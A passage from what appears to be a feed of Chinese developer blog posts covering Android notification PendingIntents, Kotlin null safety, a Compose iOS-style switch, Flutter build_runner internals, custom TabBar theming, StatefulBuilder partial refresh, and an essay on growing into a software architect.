)
}
这样生成的PendingIntent再builder.setContentIntent(pendingIntent),在我们点击通知之后,NotificationHandleReceiver的onReceive里就会收到信息了,根据信息处理后续操作即可。
Activity的PendingIntent用于跳转到指定activity,创建一个跳转activity的Intent(同普通的页面跳转的Intent),也是同上面在intent.putExtra传入相应的点击通知之后需要识别的操作:
val intent = Intent(this, XXXX::class.java).apply {
putExtra("title", title).putExtra("content", content)
}
return PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_IMMUTABLE)
也是这样生成的PendingIntent再builder.setContentIntent(pendingIntent),在我们点击通知之后,就会跳转到对应的activity页面,然后intent里就会收到信息了,根据信息处理后续操作即可。
查看上面关于Android12的特性
在Android12平台上有关于PendingIntent的两点特性:
PendingIntent
对象指定可变性,这也是上面创建PendingIntent时需要设置flag为PendingIntent.FLAG_IMMUTABLE。startActivity()
。所以当需要点击通知实现activity跳转时,需要使用PendingIntent. getActivity,而不是使用PendingIntent.getBroadcast,然后在BroadcastReceiver里实现activity跳转,后者方式在Android 12 或更高版本为目标平台的应用中将被限制。配合上WorkManager,就能实现发送延迟通知,主要是通过OneTimeWorkRequest的延迟特性。
创建一个延迟的OneTimeWorkRequest,加入WorkManager队列中:
fun sendWorkRequest(
context: Context,
reminderId: Int,
title: String,
content: String,
link: String,
triggerTime: Long
): OneTimeWorkRequest {
val duration = triggerTime - System.currentTimeMillis()
val data =
Data.Builder().putInt(REMINDER_WORKER_DATA_ID, reminderId).putString(REMINDER_WORKER_DATA_TITLE, title)
.putString(REMINDER_WORKER_DATA_CONTENT, content).putString(REMINDER_WORKER_DATA_LINK, link)
.build()
val uniqueWorkName =
"reminderData_${reminderId}"
val request = OneTimeWorkRequest.Builder(ReminderWorker::class.java)
.setInitialDelay(duration, TimeUnit.MILLISECONDS)
.setInputData(data)
.build()
WorkManager.getInstance(context)
.enqueueUniqueWork(uniqueWorkName, ExistingWorkPolicy.REPLACE, request)
return request
}
然后在doWork方法中拿到数据进行我们上面的通知发送显示即可。具体关于OneTimeWorkRequest的使用在本文中就不详细说明了。当需要发送延迟通知时,知道可以通过配合WorkManager实现。
在目前最新的Android 13(API 级别 33)上对于通知增加了权限限制,具体可看官方描述:
作者:愿天深海
链接:https://juejin.cn/post/7134229758179016717
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
许多编程语⾔(包括 Java)中最常⻅的错误之⼀,就是访问空成员会导致空异常(NullPointerException 或简称 NPE)。
开发中,经常会遇到空指针异常,如果对这个问题处理不当,还会引起程序的崩溃(crash),在Kotlin中,为了避免出现空指针异常,引入了 Null机制,本篇就来了解一下Kotlin中的 Null机制。
Kotlin中把变量分成了两种类型
通常,一个变量默认是非空类型。若要变量的值可以为空,必须在声明处的数据类型后添加 ?
来标识该变量可为空。如下示例:
var phone: String //声明非空变量
var price: Int? //声明可空变量
上述代码中,phone 为非空变量,price 为可空变量。若给变量name赋值为null,编译器会提示“Null can not be a value of a non-null type String”
错误信息。引起这个错误的原因是Kotlin官方约定变量默认为非空类型时,该变量不能赋值为null, 而price 赋值为null,编译可以通过。
声明可空变量时,若不知道初始值,则需将其赋值为null,否则会报“variable price must be initialized”
异常信息。
通过一段示例代码来学习如何判断变量是否为空,以及如何使用可空变量:
fun main() {
var name: String = "Any" // 非空变量
var phone: String? = null // 可空变量
if (phone != null) {
print(phone.length)
} else {
phone = "12345678901"
print("phone = " + phone)
}
}
运行结果:
phone = 12345678901
上述代码,定义一个非空变量 name,一个可空变量 phone。这段示例代码对可空变量进行判断,如果 phone 不为空则输出 phone的长度,否则将phone赋值为12345678901并打印输出。
上一点的示例中,可空变量在使用时需要先通过if…else
判断,然后再进行相应的操作,这样使用还是比较繁琐。Kotlin提供了一个安全调用符?.
,用于调用可空类型变量中的成员方法或属性,语法格式为“变量?.成员”。其作用是先判断变量是否为null,如果不为null才调用变量的成员方法或者属性。
fun main() {
var name: String = "Any"
var phone: String? = null
var result = phone?.length
println(result)
}
运行结果:
null
结果可以看出,在使用?.
调用可空变量的属性时,若当前变量为空,则程序编译正常运行,且返回一个null值。
安全调用符调用可空变量中的成员方法或属性时,如果当前变量为空,则返回一个null值,但有时不想返回一个null值而是指定一个默认值,该如何处理呢?Kotlin中提供了一个Elvis操作符(?:)
,通过Elvis操作符(?:)
可以指定可空变量为null时,调用该变量中的成员方法或属性的返回值,其语法格式为 表达式 ?: 表达式 。若左边表达式非空,则返回左边表达式的值,否则返回右边表达式的值。
fun main() {
var name: String = "Any"
var phone: String? = null
var result = phone?.length ?: "12345678901"
println(result)
}
运行结果:
12345678901
从结果可以看出,当变量phone为空时,使用?:
操作符会返回指定的默认值“12345678901”,而非null值。
除了使用安全调用符(?.)
来使用可空类型的变量之外,还可以通过非空断言(!!.)
来调用可空类型变量的成员方法或属性。使用非空断言时,调用变量成员方法或属性的语法结构为 “变量!!.成员” 。非空断言(!!.)
会将任何变量(可空类型变量或者非空类型变量)转换为非空类型的变量,若该变量为空则抛出异常。接下来我们通过一个例子来演示非空断言(!!.)
的使用,具体代码如下所示。
fun main() {
var phone: String? = null // 声明可空类型变量
var result = phone!!.length // 使用非空断言
println(result)
}
运行结果:
Exception in thread"main"kotlin.KotlinNullPointerException
at NoEmptyAssertionKt.main
(NoEmptyAssertion.kt:4)
运行结果抛出了空指针异常,若变量phone赋值不为空,则程序可以正常运行。
安全调用符与非空断言运算符都可以调用可空变量的方法,但是在使用时有一定的差别,如表所示。
操作符 | 安全 | 是否推荐 |
---|---|---|
安全调用符(?.) | 当变量值为null时,不会抛出异常,更安全 | 推荐使用 |
非空断言(!!) | 当变量值为null时,会抛出异常,不安全 | 可空类型变量经过非空断言后,这个变量变为非空变量,非空变量为null时,会报异常,不推荐 |
上面四种情况的介绍,可以说的很全面地囊括 kotlin 中的空处理情况,开发中应根据实际场景使用合适的操作符。
本文一个定制样式的SwitchButton,使用Compose来写是非常容易的,下面先来看看我们对外提供如下方法:
@Composeable
fun IosSwitchButton(
modifier: Modifier,
checked: Boolean,
width: Dp = 50.dp,
height: Dp = 30.dp,
// Thumb和Track的边缘间距
gapBetweenThumbAndTrackEdge: Dp = 2.dp,
checkedTrackColor: Color = Color(0xFF4D7DEE),
uncheckedTrackColor: Color = Color(0xFFC7C7C7),
onCheckedChange: ((Boolean) -> Unit)
)
我们先来实现点击切换,后面再来实现滑动切换,checked状态是需要外面(ViewModel)传过来,同样onCheckedChange回调的状态,需要同步更新到ViewModel中。
我们来简单的看看,只实现,点击切换按钮状态的效果代码:
// 定义按钮点击的状态记录
val switchONState = remember { mutableStateOf(checked) }
// Thumb的半径大小
val thumbRadius = height / 2 - gapBetweenThumbAndTrackEdge
// Thumb水平的位移
val thumbOffsetAnimX by animateFloatAsState(
targetValue = if (checked)
with(LocalDensity.current) { (width - thumbRadius - gapBetweenThumbAndTrackEdge).toPx() }
else
with(LocalDensity.current) { (thumbRadius + gapBetweenThumbAndTrackEdge).toPx() }
)
// Track颜色动画
val trackAnimColor by animateColorAsState(
targetValue = if (checked) checkedTrackColor else uncheckedTrackColor
)
上面的准备工作做完,我们就需要用到Canvas 来绘制Thumb和Track,按钮的点击我们需要用Modifier的pointerInput修饰符提供点按手势检测器:
Modifier.pointerInput(Unit) {
detectTapGestures(
onPress = { /* Called when the gesture starts */ },
onDoubleTap = { /* Called on Double Tap */ },
onLongPress = { /* Called on Long Press */ },
onTap = { /* Called on Tap */ }
)
}
看看我们的Canvas
Canvas(
modifier = modifier
.size(width = width, height = height)
.pointerInput(Unit) {
detectTapGestures(
onTap = {
// 更新切换状态
switchONState.value = !switchONState.value
onCheckedChange.invoke(switchONState.value)
}
)
}
) {
// 这里绘制Track和Thumb
}
绘制Track,我们需要更新drawRoundRect的color值,我们使用上面根据checked状态变更后的trackAnimColor颜色值:
drawRoundRect(
color = animateTrackColor,
// 圆角
cornerRadius = CornerRadius(x = height.toPx(), y = height.toPx())
)
绘制Thumb,我们需要更新drawCircle里面的中心坐标X轴数值,我们使用状态变更后的动画值thumbOffsetAnimX:
drawCircle(
color = Color.White,
// Thumb的半径
radius = thumbRadius.toPx(),
center = Offset(
x = thumbOffsetAnimX,
y = size.height / 2
)
)
上面实现只有点击功能,效果如下:
只能点击
GIF录制的效果不太明显,实际上根据大家个人的需求,如果只是为了点击能切换,上面的十几行代码就足够了;
当然我们对效果还是有追求的,请继续往下看,我们来看,如何实现滑动切换,我们还是看一下最后实现可滑动,可点击的效果吧,方便我们下面讲解:
可滑动,可点击,动画连贯
既然要用到滑动,那么我们就需要使用到Modifier的swipeable修饰符:
允许我们通过锚点设置,实现组件呈现吸附效果的动画,常用于开关等动画,需要注意的是:swipeable不会为被修饰的组件提供任何默认动画,只能为组件提供手势偏移量等信息。可以根据偏移量结合其他修饰符定制动画。
我们这里需要同时实现“点击”和“滑动”,这里需要把这2个修饰符组合到一个扩展文件里面,我们创建一个IOSSwitchModifierExtensions.kt文件:
// IOSSwitchModifierExtensions.kt
@ExperimentalMaterialApi
internal fun Modifier.swipeTrack(
anchors: Map<Float, Int>,
swipeableState: SwipeableState<Int>,
onClick: () -> Unit
) = composed {
this.then(Modifier
.pointerInput(Unit) {
detectTapGestures(
onTap = {
// 点击回调
onClick.invoke()
}
)
}
.swipeable(
state = swipeableState,
anchors = anchors,
thresholds = { _, _ ->
// 锚点间吸附效果的临界阈值
FractionalThreshold(0.3F)
},
// 水平方向
orientation = Orientation.Horizontal
)
)
}
我们下面会用到这个扩展方法,我们可以看到swipeable修饰符,需要SwipeableState和anchors
初始化swipeableState
val swipeableState = rememberSwipeableState(initialValue = 0, animationSpec = tween())
我们还需要初始化anchors设置在不同状态时对应的偏移量信息:
// Thumb的半径
val thumbRadius = (height / 2) - gapBetweenThumbAndTrackEdge
// 开始的锚点位置
val startAnchor = with(LocalDensity.current) {
(thumbRadius + gapBetweenThumbAndTrackEdge).toPx()
}
// 结束的锚点位置
val endAnchor = with(LocalDensity.current) {
(width - thumbRadius - gapBetweenThumbAndTrackEdge).toPx()
}
// 根据上面的注释,很明显了
val anchors = mapOf(startAnchor to 0, endAnchor to 1)
到这里,我们需要如何继续呢,我仍然是通过录制视频,然后通过一帧一帧的去分析IOS样式的switch动画效果来做的。
我们先看最终效果图,然后继续往下拆解:
可以看到,拖动Thumb的时候,灰色的矩形区域是缩小的,然后蓝色部分是一个颜色渐变动画,同样的,点击也是需要做对应的工作。
大家先思考一下,点击和滑动怎么做到一样的?
我们发现Swipeable有个animateTo方法,那这不就好使了吗?对不对
// 代码来自androidx.compose.material.Swipeable.kt
// 通过动画将状态设置为targetValue
suspend fun animateTo(targetValue: T, anim: AnimationSpec<Float> = animationSpec)
来了一个点,第二个点,第三个点,都来了:
// 因为animateTo是挂起函数,我们需要在coroutineScope.launch里面执行
val scope = rememberCoroutineScope()
从上面看到这里的小伙伴,应该知道,我们上面定义了一个IOSSwitchModifierExtensions.kt文件,我们在swipeTrack的onClick方法里面执行animateTo,其实这个animateTo只是更新我们当前的checked状态而已。
Canvas(
modifier = modifier
.size(width = width, height = height)
.swipeTrack(
anchors = anchors,
swipeableState = swipeableState,
onClick = {
scope.launch {
swipeableState.animateTo(if (!switchONState.value) 1 else 0)
}
}
)
) {
// 选中状态下的Track背景
// 未选中状态下的Track背景
// Thumb
}
接下来,应该怎么继续呢,我觉得大家可以先思考一下,再继续往下看。
刚刚上面,提到了有2个Track背景,一个背景是颜色渐变动画,一个是缩放动画。
Compose的Canvas怎么写scale呢? 别急,我们可以在源码和文档中找到Canvas#scale
不仅仅可以scale
,还可以rotate、insert、translate
等等。
还有一个问题,背景颜色渐变动画,我们要用animate*AsState
来做吗?
animate*AsState
函数是 Compose 中最简单的动画 API,用于为单个值添加动画效果。您只需提供结束值(或目标值),该 API 就会从当前值开始向指定值播放动画。
我们发现animate*AsState
并不是我们想要的,我们想要的是:
滑动的时候根据“当前滑动移动的距离”来更新Track背景色渐变
没有用Compose的时候,我们可以用初始化一个ArgbEvaluator,然后调用:
argbEvaluator.evaluate(fraction, startColor, stopColor)
在Compose中,我们应该怎么做呢?
我们发现Color.kt中的一个方法lerp:
androidx.compose.ui.graphics.ColorKt#lerp
上面的疑惑全部解开,下面就看看我们剩下的实现吧:
// 未选中状态下的Track的scale大小(0F - 1F)
val unCheckedTrackScale = rememberSaveable { mutableStateOf(1F) }
// 选中状态下Track的背景渐变色
val checkedTrackLerpColor by remember {
derivedStateOf {
lerp(
// 开始的颜色
uncheckedTrackColor,
// 结束的颜色
checkedTrackColor,
// 选中的Track颜色值,根据缩放值计算颜色【转换的渐变进度】
min((1F - unCheckedTrackScale.value) * 2, 1F)
)
}
}
LaunchedEffect(swipeableState.offset.value) {
val swipeOffset = swipeableState.offset.value
// 未选中的Track缩放大小
var trackScale: Float
((swipeOffset - startAnchor) / endAnchor).also {
trackScale = if (it < 0F) 0F else it
}
// 未选中的Track缩放大小更新,上面👆👆的:选中的Track颜色值,是根据这个来算的
unCheckedTrackScale.value = 1F - trackScale
// 更新开关状态
switchONState.value = swipeOffset >= endAnchor
// 回调状态
onCheckedChange.invoke(switchONState.value)
}
所以,我们的Canvas里面Track和Thumb最终颜色和缩放,是根据上面计算出来的值来更新的:
Canvas(
modifier = modifier.size(...).swipeTrack(...)
) {
// 选中状态下的背景
drawRoundRect(
//这种的不再使用:Color(ArgbEvaluator().evaluate(t, AndroidColor.RED, AndroidColor.BLUE) as Int)
color = checkedTrackLerpColor,
cornerRadius = CornerRadius(x = height.toPx(), y = height.toPx()),
)
// 未选中状态下的背景,随着滑动或者点击切换了状态,进行缩放
scale(
scaleX = unCheckedTrackScale.value,
scaleY = unCheckedTrackScale.value,
pivot = Offset(size.width * 1.0F / 2F + startAnchor, size.height * 1.0F / 2F)
) {
drawRoundRect(
color = uncheckedTrackColor,
cornerRadius = CornerRadius(x = height.toPx(), y = height.toPx()),
)
}
// Thumb
drawCircle(
color = Color.White,
radius = thumbRadius.toPx(),
center = Offset(swipeableState.offset.value, size.height / 2)
)
}
经过上面的漫长分析和实现,最终效果如下:
源码地址: ComposeIOSSwitchButton
对于Flutter开发者来说,build_runner 可以说并不是一个陌生的东西,很多package中就要求调用build_runner 来自动生成处理代码,比如说json_serializable;
但正如其描述中所述的那样,其是通过 Dart Build System来实现的,build_runner 和其又是一个什么关系,接下来就来学习一下dart的build系统
dart 的 build系统,由 build_config、 build_modules、build_resolvers、 build_runner、 build_test、 build_web_compilers 共同组合、完成了dart 的 build 系统;
Flutter的build系统其实就是生成代码,对标的应该是JAVA的APT这块的东西;
另外,对于 dart 的 build 系统,官方是有这么一段介绍:
Although the Dart build system is a good alternative to reflection (which has performance issues) and macros (which Dart’s compilers don’t support), it can do more than just read and write Dart code. For example, the sass_builder package implements a builder that generates
.css
files from.scss
and.sass
files.
也就是说dart build理论上是可以来做很多人心心念念的反射的;
如果仅仅是使用方面来说,build_runner 的使用非常简单;比如说我们最常用的一条命令就是:
flutter pub run build_runner build
也可以配置build.yaml来修改配置信息,生成符合需要的代码;
不过在输入上面那句build_runner build之后发生了什么,像build_config之类的在这个过程中各自起了什么作用,这就需要追踪一下;
根据日志信息,build_runner 的流程基本遵循这样一个套路:
接下来就看下这些编译脚本、输入环境、资源等不知所云的东西,到底是什么;
首先来到build_runner的main函数部分,前面一大片对参数检测的拦截判断,真正执行命令的地方放在了最后:
在这个方法中最先做的事就是生成build脚本
其内容也很简单,说白了就是输出一个文件而已:
至于这个文件内容是什么,有什么用,先放到后面再说;现在先关注于整体流程;
那么现在可以得知,这步会在scriptLocaton这个路径上生成一个build脚本;而这个路径也不难得到:
其实就是 .dart_tool/build/entrypoint/build.dart 这个文件;
在上面贴的generateAndRun方法中,生成文件之后就会执行一个 _createKernelIfNeeded
方法,其作用也正如其名,检测是否需要就创建内核文件;
而这个内核文件,也就是后缀为build.dart.dill 文件
同时,在这里也提到了一个新的概念:assetGraph
,不过这些也是后面再细看的东西;
在编译完build脚本生成内核后,下面就是执行这个内核文件;在这里新开了一个isolate去执行这个文件:
接下来就该看下这个内核文件到底是什么……但是呢,内核文件这东西,本来就不是给人看的………………所以呢,可以从另一方面考虑下,比如说,既然内核文件看不了,那我就看内核文件的从哪编译来的,反正逻辑上也是大差不差,完全可以参考;
正好内核文件的来源,也就是那个build脚本,其位置在上面也提到过了;在我测试代码中,它最后是这样的:
其中的这个_i10,正是build_runner……看来兜兜转转又回来了?
应该说回来了,但没完全回来,上面提到的build_runner是bin目录下的;这次的build_runner是lib目录下的,入口还是不一样的;
在这里,build_runner build中的build这个参数才真正识别并开始执行;前面都是前戏;而执行这个build命令的是一个名为BuildCommandRunner
的类,其内部内置了包括build在内的诸多函数命令:
由于测试的指令参数为build,所以命中的commend为 BuildCommand
;而 BuildCommand 所做的事也基本集中在 src/generate/build.dart 这个文件中的build方法中了;自此开始真正去执行build_runner对应Builder中要求做的事;
其build方法所做的事还是比较容易看懂的:
而这部分所说的处理输入环境和资源就在 BuildRunner.create
这部分中;其会调用 BuildDefinition.prepareWorkspace
方法;
而在这里就出现了上面提到的assetGraph
,这里就是其创建和使用的地方:
所以,最终总结一下,处理输入环境和资源 这个环节所做的事就是根据配置生成输入输出、build过程中所需的各种参数,提供assetGraph这个东西;
具体这些配置入口在哪,从何而来,assetGraph又是什么东西,有什么作用,后面再看;
这部分就是刚才提到的调用run方法的地方;
它的run方法咋看好像也不难懂的样子,主要是各种新名词有点多:
不过现在只跟随build流程来说的话,核心应该事其中的_safeBuild
方法:
其所做的事,除了各种心跳log之外,应该就是更新assetGraph;执行_runPhases
;另外毕竟事safeBuild嘛,所以新开了一个zone来处理;
_runPhases
所做的事就是真正去执行build所做的事,生成代码之类的;比如说json_serializable中的build,就会走_runBuilder
部分并最终调用runBuilder
中的builder.build
,也就是自定义Builder中需要自己实现的部分;
对了,关于像json_serializable的自定义Builder从何而来的问题,答案是一开始就已经集成进来了,在builder.dart中已经出现了其身影:
不过为什么build.dart 能得知具体有哪些builder?比如说json_serializable中的builder,是怎么加入到build.dart中的,那也是后面要看的东西;
再次回到 _safeBuild
这块,缓存信息的部分紧贴着run部分:
好像就写了一下文件,没了?
这篇大体粗略的过了一下build这个命令都干了什么;不过像生成的文件内部结构、作用;配置信息来源,如何解析之类的问题还未解决;在后面会依次看看;
最后尝试实现一份自己的自定义Builder;
作者:lwlizhe
链接:https://juejin.cn/post/7133488621180420126
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
首页开发需求要求实现每个频道具备不同主题色风格,因此需要实现TabBar
每个Tab
具备自己主题色。Flutter
官方提供TabBar
组件只支持设置选中和非选中条件标签颜色并不支持配置不同更多不同配置色,TabBar
组件配置项为labelColor
和unselectedLabelColor
两者。因此若需要自定义实现支持配置主题色TabBar
组件。
这在此之前文章中有提到过解决方案,主要实现逻辑是将原先切换动画替换为缩放实现,规避了动画实现出现的抖动问题。
TabBar
入参提供每个Tab的颜色配置: final List labelColors;TabBar
切换逻辑代码【_TabBarState】:【_buildStyledTab】_buildStyledTab中TabStyle
方法负责构建每个Tab
样式,调整该方法增加构建当前TabStyle
的Position
和currentPosition
,分别为对应Tab
的样式和当前选中Tab
的样式
Widget _buildStyledTab(Widget child,int position,int currentPosition, bool selected, Animation<double> animation,TabController controller) {
Color labelColor;
Color unselectedLabelColor;
labelColor = widget.labelColors[position];
unselectedLabelColor = widget.labelColors[currentPosition];
return _TabStyle(
animation: animation,
selected: selected,
labelColors: widget.labelColors,
labelColor: labelColor,
unselectedLabelColor: unselectedLabelColor,
labelStyle: widget.labelStyle,
unselectedLabelStyle: widget.unselectedLabelStyle,
tabController:controller,
child: child,
);
}
增加以下代码逻辑通过TabController
获取当前选中Tab
定位并且增加渐变透明度调整
// 判断是否是临近的下一个Tab
bool isNext = false;
// 透明度不好计算呀
double opacity = 0.5;
// 当前选中的Tab
int selectedValue = tabController.index;
selectedColor = labelColors[selectedValue];
// 当前偏移方向
if (tabController.offset > 0) {
unselectedColor = labelColors[selectedValue + 1];
isNext = false;
} else if (tabController.offset < 0) {
isNext = true;
unselectedColor = labelColors[selectedValue - 1];
} else {
unselectedColor = selectedColor;
}
if (unselectedColor != Color(0xFF333333)) {
opacity = 0.9;
}
final Color color = selected
? Color.lerp(selectedColor, unselectedColor.withOpacity(opacity),
colorAnimation.value)
: unBuild
? Color.lerp(selectedColor.withOpacity(opacity),
unselectedColor.withOpacity(opacity), colorAnimation.value)
: Color.lerp(
selectedColor.withOpacity(opacity),
unselectedColor.withOpacity(isNext ? 1 : opacity),
colorAnimation.value);
CustomPaint
组件同样也需要增加选中色值设置 Color labelColor;
Color unselectedLabelColor;
labelColor = widget.labelColors[_currentIndex];
unselectedLabelColor = widget.labelColors[_currentIndex];
final Animation<double> animation = _ChangeAnimation(_controller);
Widget magicTabBar = CustomPaint(
painter: _indicatorPainter,
child: _TabStyle(
animation: animation,
selected: false,
unBuild: true,
labelColor: labelColor,
unselectedLabelColor: unselectedLabelColor,
labelColors: widget.labelColors,
labelStyle: widget.labelStyle,
unselectedLabelStyle: widget.unselectedLabelStyle,
tabController: widget.controller,
child: _TabLabelBar(
onPerformLayout: _saveTabOffsets,
children: wrappedTabs,
),
),
);
官方提供TabBar
的选中指示器长度是跟随Tab
宽度不能做到固定宽度,且当改造TabBar
主题色之后也期望指示器支持跟随主题色变化。
Decoration
增加三个入参TabController
、List<Color>
、width
。Tab
逻辑来确定主题色选择。 double page = 0;
int realPage = 0;
page = pageController.index + pageController.offset ?? 0;
realPage = pageController.index + pageController.offset?.floor() ?? 0;
double opacity = 1 - (page - realPage).abs();
Color thisColor = labelColors[realPage];
thisColor = thisColor;
Color nextColor = labelColors[
realPage + 1 < labelColors.length ? realPage + 1 : realPage];
nextColor = nextColor;
final Rect indicator = insets.resolve(textDirection).deflateRect(rect);
double midValue = (indicator.right - indicator.left) / 2 + indicator.left;
return Rect.fromLTWH(
midValue - width / 2,
indicator.bottom - borderSide.width,
width,
borderSide.width,
);
flutter项目中,在页面数据较多的情况下使用全量刷新对性能消耗较大且容易出现短暂白屏的现象,出于性能和用户体验方面的考虑我们经常会使用局部刷新代替全量刷新进行页面更新操作。
GlobalKey
、ValueNotifier
和StreamBuilder
等技术方案都可以实现Flutter页面的局部刷新,本文主要记录的是通过StatefulBuilder
组件来实现局部刷新的方法。
在StatefulWidget
内直接调用setState
方法更新数据时,会导致页面重新执行build
方法,使得页面被全量刷新。
我们可以通过以下案例了解页面的刷新情况:
int a = 0;
int b = 0;
@override
Widget build(BuildContext context) {
return Scaffold(
body: Center(
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
children: [
// 点击按钮,数据‘a’加1,并刷新页面
ElevatedButton(
onPressed: () {
a++;
setState(() {});
},
child: Text('a : $a'),
),
// 点击按钮,数据‘b’加1,并刷新页面
ElevatedButton(
onPressed: () {
b++;
setState(() {});
},
child: Text('b : $b'),
),
],
),
),
);
}
代码运行效果如图:
当我们点击第一个ElevatedButton
组件时,会执行a++
和setState(() {})
语句。通过系统的Flutter Performance工具我们可以捕获到组件刷新的情况,当执行到setState(() {})
时,页面不只是刷新a
数据所在的ElevatedButton
组件,而是重新构建了页面,这会造成额外的性能消耗。
出于性能的考虑,我们更希望当点击第一个ElevatedButton
组件时,系统只对a
数据进行更新,b
作为局外人不参与此次活动。我们可以通过StatefulBuilder
组件来实现这个功能。
StatefulBuilder
组件包含了两个参数,其中builder
参数为必传,不能为空:
const StatefulBuilder({
Key? key,
required this.builder,
}) : assert(builder != null),
super(key: key);
builder
包含了两个参数,一个页面的context,另一个是用于状态改变时触发重建的方法:
typedef StatefulWidgetBuilder = Widget Function(BuildContext context, StateSetter setState);
final StatefulWidgetBuilder builder;
StatefulBuilder
组件在实际应用中主要分成以下操作:
1、定义一个
StateSetter
类型的方法;
2、将需要局部刷新数据的组件嵌套在
StatefulBuilder
组件内;
3、调用第1步定义的
StateSetter
类型方法对StatefulBuilder
内部进行刷新;
int a = 0;
int b = 0;
// 1、定义一个叫做“aState”的StateSetter类型方法;
StateSetter? aState;
@override
Widget build(BuildContext context) {
return Scaffold(
body: Center(
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
children: <Widget>[
// 2、将第一个“ElevatedButton”组件嵌套在“StatefulBuilder”组件内;
StatefulBuilder(
builder: (BuildContext context, StateSetter setState) {
aState = setState;
return ElevatedButton(
onPressed: () {
a++;
// 3、调用“aState”方法对“StatefulBuilder”内部进行刷新;
aState(() {});
},
child: Text('a : $a'),
);
},
),
ElevatedButton(
onPressed: () {
b++;
setState(() {});
},
child: Text('b : $b'),
),
],
),
),
);
}
重新运行后点击第一个按钮对a
进行累加时,通过Flutter Performance工具我们可以了解到,只有StatefulBuilder
组件及其包含的组件被重新构建,实现了局部刷新的功能,有效的提高了页面的性能;
StatefulWidget
内更新一个属性会导致整个树重新构建,为防止这种不必要的性能消耗,可以通过StatefulBuilder
组件进行局部刷新,有效的提高性能。
写这篇文章目的是之前在一篇文章中谈到,我实习那会有个老哥很牛皮,业务能力嘎嘎厉害,但是后面发展一般般,这引起我的思考,最近有个同事发了篇腾讯pcg的同学关于review 相关的文章,里面也谈到架构师的层次,也再次引起我关于架构师的相关思考,接下来我们展开聊聊吧~
我写这篇文章,初心是为了找到导致这样结果的原因,而不是站在一个高高在上的位置,对别人指手画脚,彰显自己多牛皮。(PS:我也鄙视通过打压别人来展示自己,你几斤几两,大家都是聪明人看得出来,如果你确实优秀,别人还打压,说明他急了,哈哈哈)
查理芒格说过一句话:如果我知道在哪里会踩坑,避开这些,我已经比很多人走得更远了。
我觉得是没有一个层级的概念导致的,这个原因筛掉了大部分人,突破层级的难度筛掉了另外一批人,运气和机会又筛掉另一波人。
为什么这么讲呢?
我们打游戏的时候,比如说王者,会有废铁、青铜、钻石、铂金、荣耀、荣耀王者,对吧。它的层级大家都清楚,但是在现实生活中,你会闷逼了,我当前处在那个阶段,上一层是什么水平,需要什么技能,什么样的要求。
其次也会对自己能力过高的评价,如果你一直在组里面,你可能一直是一把手,到了集团,可能变成10名内,到了公司排名,可能几百名后。我们需要站在一个更高、更全面的角度去了解自己的位置。
出现这种情况也很正常
举个栗子,以前我实习那会,有个老哥业务能力特别强,啥活都干得快,嘎嘎牛皮,这是个背景
如果团队里头你最厉害了,那你的突破点,你的成长点在哪里?
对吧,大家都比你菜了,自然你能从别人身上学习到的就少了,还有一种情况是你觉得你是最厉害的,这种想法也是最要命的,会让你踏步不前。这时的解法,我认为是自驱力,如果你学哲学,就知道向内求,自我检讨,自己迭代更新,别人就是你,你就是别人,别人只是一面镜子。
层级的概念
那时看到他搞业务特别厉害,但现在看是做需求厉害,但是缺乏深度。我对比以前的开发经历,跟现在在架构组的工作经历,感受很明显。一个是为了完成任务,一个需要深度,什么深度呢?这个埋下伏笔,为后面架构师层级再展开聊聊。
从初级到中级,到高级,再到主程、再到TL,技术经理,再到架构师,再到负责人。当完成任务的时候,是最基本的事情,深入的时候,从coding入手,在代码上有所追求,比如说可读性,用用设计模式,再深入想到代码可扩展性。。。
当你了解下一个层级的要求的时候,有了目标才能有效的突破它。
这是在上一个原因基础上一个加强版,你了解了各个层级的要求,但是突破这些要求,可能由于阅历,或者能力,或者天赋不足,导致突破困难。
这里我想聊聊架构师的思考,之前在转正答辩上,一个领导问我你怎么理解架构的,我当时没有概念,但是接触相关工作以及观看相关文章,有了更深理解。
腾讯工程师,万字长文说 Code Review
这里讲的是coding部分,属于架构师负责的一部分,规范。
我不禁想想平时什么工作内容涉及到这个?
比如说契约,规定了依赖jar版本;定义了协议,什么类型输出的格式,转换的类型;开发的规范,设计文档的样式;像文中review的过程,确实比较少,目的是为了减少代码的坏味道。就像文中讲到,如果你定义的一个规范,可以在300+人里面hold,让系统一直在正常迭代,那么算合格的架构师。
一次广义上review
我一般下班会遇到基础服务的小伙伴聊聊天,我说话很少,就喜欢听听别人聊点什么,他跟我聊了几天,我发现问题是现有商品代码已经不足以支持业务的快速迭代,因为冗余其他东西太多了。比如说一个毛胚商品,然后它也快速的加上其他属性,变成一个加工品。但是现在场景变成了它就是一个加工品,你想拆成其他加工品,很困难,就是字段冗余到商品表里头了。
这个时候到架构已经不适合业务快速迭代了,需要重构,大破大立,还需要大佬牵头。review狭义上是代码层发现问题,如果你从一线同学那里听到的东西,能发现问题,也是一种review。
架构师不止规范,需要深度
需要什么深度呢?
从一个做需求的点看,从需求理解,这个是业务深度,从设计文档上,严谨程度,扩展性、风险点、可行性,设计深度。从开发阶段,coding,技术规范,技术功底,这个是技术深度。
跳出需求的点,从大的面来看,需求为了解决什么问题,不做行不行,业务价值在哪里?做了这一期还有后续吗,这是业务的前景。然后规划是怎样的,先从哪里入手,然后有木有计划去推进?这是思考的深度。
抽象的能力
大咖们如何评判优秀架构师?
里面反复提到抽象的能力,比如说逻辑、物理架构图,这个有助于你理解整个系统的调用关系,形成闭环,可以从全局的角度去理解,我当前做的需求在什么位置,为了解决什么问题。
再到通过问题看到本质,从技术方案看到实质。有一次一位同学跟我探讨DDD,跟我说防腐层不应该是这样写的,你只是用了策略模式去写,应该有个一个门面,然后后面是实现逻辑。我听到这里就明白他被绕进去了,DDD是一个思想,他幻化出来一些对应的框架,它的精髓是高内聚、低耦合。你说策略模式,能否将外部rpc调用分隔开呢?当然可以,它算不算防腐层呢?也算~
最近一次做代码优化的时候,我用了责任链的设计模式,将190行的代码,拆分成4个模块,每个类大概30行,当然190行包括换行。但是实际效果除了行数变少外,每个模块分工特别清晰,这个模块在处理特定的逻辑,当某部分有问题的时候,直接找到那个模块修改即可。(这就是高内聚的魅力)
抽象另一种体现:模块化
最近在牵头做账单,其实我也没做过,我就找了几篇大厂的文章看看,拿来吧你,哈哈
